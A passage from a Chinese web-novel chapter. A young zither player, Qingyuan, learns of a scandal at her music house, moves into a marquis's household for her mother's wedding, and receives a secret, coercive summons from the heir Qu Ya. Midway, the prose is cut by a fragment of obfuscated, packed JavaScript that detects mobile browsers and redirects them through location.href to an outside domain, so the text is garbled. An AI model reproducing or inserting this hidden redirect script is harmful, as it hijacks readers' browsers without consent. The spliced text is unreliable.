待世子在她身上发泄完全部的坏情绪,说不准与阿娘在侯府碰面时,还能勉强挤出一个表面笑脸来。 大家都心里有数,婚事之后,哪有什么母慈子孝,阖家欢乐。 表面能过得去,已是最好。 青鸢大着胆子开口:“世子答应我,会保证我阿娘在侯府过得舒心,绝不会故意生事,刺激招惹。” 瞿涯淡笑:“跟我讨价还价?” 青鸢垂下眼眸,诚恳说:“是请求。” 瞿涯向前凑近,附在她耳边,灼热的气息拂在她一侧颊边,引得痒意无限蔓延。 随后,他好心建议的口吻,启齿:“讲条件的话,最好还是床上说,知不知道枕边风才是最好吹的?” “……” 青鸢羞愤难当,红晕自脸膛一路泛至脖子,憋得一句话也说不出来。 瞿涯轻力拍拍她肩膀,神色一派自若:“该回去了,阆苑生了乱子,你不赶回去看戏,岂不可惜。” …… 青鸢是趁乱被送回阆苑的,加之有夏蝉接应,进门时她们并没有惊动到旁人。 两人顺利回了屋,刚刚放松下来,夏蝉便一脸急色问:“姑娘怎么不交代一声就外出与世子见面了?姑娘想来还不知道呢,今日你不在,阆苑里可是出了大乱子了!” 夏蝉还不知晓,今日这乱子的事发源头正与青鸢有关联。 青鸢没有精力作全盘解释,只问阆苑发生了何事,夏蝉知无不尽,很快讲述了勤王妃突然造访,后因捉贼而赶巧抓住了邹清清与杨公子私通苟合,王妃盛怒之下,勒令整顿,阆苑人人自危。 也正因乱子生得大,众人自顾不暇,才没人注意到青鸢已经整日不曾露面了。 夏蝉也是机灵,见事态不对,早早对外宣称青鸢染病卧榻,这才勉强拖到了现在。 青鸢又问及:“薛三娘呢?” 夏蝉回话:“连同邹清清一起,被王妃一道带走了。王妃离开时,脸色阴沉得好厉害,一看就是被气得不轻,邹清清敢如此无视阆苑规矩,犯此忌讳,无异于打勤王府的脸面,想来一定会被扫地出门。至于薛三娘,监督不善,免不得被牵累,加之她与邹清清还有亲属关系,存唆使之嫌,估计也没什么好果子吃。” “对了,先前犯事的喜儿,姑娘还记得吗?听说她被带回来后,没少被邹清清罚鞭子。王妃整顿搜查时在柴房里发现了她,据说身上都没什么好皮了。私自处刑,更是阆苑大忌,王妃先前本就是勉强同意王爷兴办阆苑的,如今翻出了这诸多腌臜,说不准咱们脚下这处妙音仙坊真要关门了。” 青鸢将事情曲折听明白,心里没什么别的起伏,但有些痛快倒是真的。 她不是圣人,做不来以德报怨,看别人自食恶果,自作自受,她生不出来恻隐之心。 青鸢收回思绪,笑着问夏蝉:“咱们不也还在阆苑住着,你倒是一点也不担心。” 夏蝉乐嘻嘻的模样:“有什么好担心的?贺阿娘马上能如愿嫁进侯府,姑娘总算一桩心事了却,到时阆苑不在了更好,咱们正好可以回苏陵找易师父团聚去,姑娘又能每日静心抚琴,不被俗事琐碎烦扰了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16344462|182576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >苏陵啊。 确实很久没有回去过了。 说起易尘,他是青鸢早些年学琴认下的师父,一个来历成谜,自在云游江湖的白衣公子。 不过说是师父,实际只比她大上两岁,大家年纪相仿,又彼此相熟,在苏陵时常聚在一起抚琴赏律,聆音察理,回想那段时光,真是惬意轻松。 然而现在,并不是她想回去就能轻易回去的了。 阿娘将要嫁进侯府,她是一桩心事了却,可从此只怕受瞿涯牵制更多。 回想他说过的话,等他腻了…… 那是什么时候,一个月后吗? 那并不久。 青鸢盼着自己能早日彻底解脱。 “别的先不说,眼下阿娘成婚的事最重要,咱们也需尽快向临时管事请辞,离开阆苑,免得琴师身份给阿娘添去不必要的麻烦。” “……是。” 夏蝉应声,心里却不由觉得有些憋闷。 伶人身份历来低微,更难入世家大族的眼,唯独勤王殿下是个天生音痴,才成例外。 贺阿娘能顶住争议嫁进豪门,当然是好事,但往往,福祸相依。 夏蝉下意识看了青鸢一眼,忧虑更甚,真不知婚仪之后,世子会不会多些顾虑,召见姑娘不再如当下这般频繁。 …… 离开阆苑,刚刚安顿下来,青鸢与侯爷便在贺容音的安排下正式见了面。 青鸢原以为侯爷威严不可近,但实际接触下来,却觉对方很是慈和,大概是侯爷爱屋及乌,因对阿娘珍视,所以对她的养女也格外亲近友善。 谈起婚期,侯爷与阿娘已经提前商定好,他们通知给青鸢,她自然无异议。 之后,侯爷主动向青鸢问起她的日后打算。 青鸢不敢忘记瞿涯的提醒,故而在阿娘难忍孕反,捏着手帕想要呕吐时,适时主动提出,她愿意进侯府照顾阿娘一月,等阿娘身体好些了,她再搬出。 侯爷自然同意,但贺容音却明显有所顾虑。 “鸢儿住进侯府,会不会有些不便……” “有何不便的,家中又没有外人。再说了,涯儿正与我置气,平日都不愿意进府一趟,咱们成婚后,想来更是请不动他。偌大的一个院子,冷冷清清的,鸢儿若是能住进来定会热闹不少,最重要的是可以多陪陪你,不是正好?” 话头赶到这儿,贺容音倒是找不到再推辞的理由了。 其实她私心里,当然也希望青鸢可以陪在自己身边,只是她始终顾虑得多,生怕青鸢会因自己受委屈。 这孩子,从小就心事重,又向来对她报喜不报忧。 贺容音若有所思地瞥了青鸢一眼。 青鸢察觉,立刻牵住贺容音的手,安抚着说:“阿娘,等你吐得没那么厉害了,我就搬出去,到时候你可别想我啊。” 贺容音无奈摇头笑笑,回握过去:“就你贫嘴。行,先一起住进来吧,左右也无旁人。” 青鸢进府照顾的事算定下了。 婚期将近,要忙碌的琐碎事不少,一日一日按部就班地过着,不知不觉间,青鸢已经十来日没有收到瞿涯的消息了。 起初,他还传过信来,告知她邹清清的情况。 邹清清害人不成终害己,那日杨桀清醒后,自觉颜面尽失,又想自己是受了邹清清的蒙骗,于是以报复为目的顺水推舟收了邹清清作妾室,自此日日整治,邹清清如今是生不如死。 至于薛三娘,因管教不严失了掌事的位子,已被赶回了老家。阆苑新上来的管事,据说是王妃的亲信,阆苑到底是被勤王求着保留下来了,但以后该怎么管,换王妃说了算。 此桩事了后,他便没有再联系过她。 没有更好。 她乐得自在。 不过青鸢还是真心感谢他的出手相帮,那日若不是他,如今生不如死的人不会是邹清清,会是她。 那日匆急,之后两人又再没见过面,故而这声谢谢,她一直没机会说出口。 直至正式婚仪的前一日,带着特殊印纹的信笺,悄然出现在青鸢暂住小院的卧房窗台外,被夏蝉发现,急匆匆拿给青鸢看。 青鸢一眼认出那是瞿涯的传信,接过来,有些忐忑地拆封。 明日就是阿娘大婚的日子,他平常不联络,偏偏选此刻,这个时机,青鸢直觉有事。 夏蝉自觉避过目光。 青鸢手里摸到两封信,她先打开第一封:「明日婚仪,我会在场。」 瞿涯居然会主动出席,真给面子…… 此事偏离青鸢预想,但也不算太意外。 她继续打开第二封。 目光落定,青鸢捏住信笺的手指,不由轻微抖了抖。 「为你选住的房间里,有连通我书房的暗道,明日,我要私下见你一面。」 透过这行字,青鸢几乎可以想象出,瞿涯漫不经心的随散姿态与口吻。 可无论他怎样散漫,这信上的内容都是不容置喙的命令。 而她,是不敢不去的。